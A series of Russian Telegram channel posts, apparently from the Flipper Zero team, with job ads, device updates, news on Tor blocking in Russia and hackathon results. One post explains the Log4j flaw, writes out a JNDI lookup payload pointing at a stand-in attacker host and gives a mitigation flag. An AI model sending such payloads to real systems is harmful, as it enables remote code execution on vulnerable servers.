Ощущение от погружения в мир андроида — все с каким-то душком, будто роешься в помойке

Моя подруга Катя @ekbainova делает железку, которая машинным зрением трекает как люди смотрят рекламу на экранах: замеряет зрительный контакт, определяет пол, настроение.

Команда ищет продакт-менедждера который полностью возглавит проект:

1. Предложит полное обновление платы Addreality Box, которое выдержит большую нагрузку, чем текущая версия.
2. Наладит заказ производства плат
3. Запустит серию тестирований совместно с QA
4. Наладит производство
5. Оформит международную сертификацию оборудования (в команде с юристом)

Полное описание вакансии
Телега для связи @ekbainova

Заработал BLE HID

Теперь я двачую капчу исключительно через флиппер.

Флиппер обнаруживается как BLE HID клавиатура. Эта функция придумывалась для того, чтобы переключать презентации с флиппера. Но в будущем добавим медиа клавиши для управления плеером и можно будет вообще любые кнопки клавиатуры забиндить.

В России начали блокировать Tor

Пока только некоторые провайдеры, но уже можно сказать, что почалось.

Добро пожаловать в Китай без кошка-жена и две миска риса

Технический писатель для Flipper Zero

Проект Flipper Zero активно развивается, и документация не успевает за разработкой прошивки, поэтому мы ищем технического писателя.

Работать нужно будет напрямую со мной.

💡Твой скилл:

• Опыт работы техническим писателем в сфере IT
• Инженерный бекграунд
• Умение добывать информацию от разработчиков

Тестовое задание:

Напишите инструкцию с картинками, как правильно сфотографировать банан на мобильный телефон, чтобы получилась качественная итоговая фотография.
В тестовом задании будет оцениваться все, как сам материал так и его верстка и дистрибуция. Итоговый результат должен быть максимально продуктовым, поэтому вложения .doc файлов в письме сразу мимо.

Резюме и тестовое задание присылайте на [email protected]

Полный текст вакансии https://career.habr.com/vacancies/1000092945

У половины интернета нашли выполнение произвольного кода через Log4j.

Выглядит это так:

1) Посылаем специально сформированный запрос вида ${jndi:ldap://attacker.host/blabla} в любое место, которое потенциально может залогироваться.
2) JNDI (Java Naming and Directory Interface) в свою очередь обрабатывает шаблон, запрашивает данные через LDAP у attacker.host
3) В ответе отдается JAVA класс, который и позволяет выполнить произвольный код.

Гроб. Гроб. Кладбище.
Временный фикс: JAVA_OPTS="-Dlog4j.formatMsgNoLookups=true”

Вот примеры того, что уязвимо (От Cloudflare и Apple до серверов майнкрафта).

Кек, Флипперы начали продавать на Авито https://www.avito.ru/moskva/igry_pristavki_i_programmy/flipper_zero_2272718623

Это наверняка реальное предложение, флиппер скорее всего с хакатона.

Не рекомендую покупать, тем более за 50000 рублей, но если вдруг решитесь брать с рук, проверьте версию железа. Это может быть развод, со старой неподдерживаемой версией. Актуальная версия ТОЛЬКО 12.F7B9C6

Она прописана в OTP, читать ее нужно оттуда.

Пофиксил багулину в либе nfc и впилил обработку CMD_AUTH для амибок

Простому российскому обывателю невдомёк, а в уголовном мире произошло историческое событие. По лагерям и изоляторам пущен воровской прогон - кого опустили по беспределу, в обиженные не загонять.

Лично для меня это ничего не меняет. Но в глобальном плане это просто революция. Прямо-таки тектонический сдвиг всего уклада.

Итоги хакатона
(не читал, ошибки принимаются)

https://habr.com/ru/company/flipperdevices/blog/595325/

В статье описаны не все проекты, так как их авторы вовремя не прислали тексты. В будущем, возможно опубликуем остальные проекты.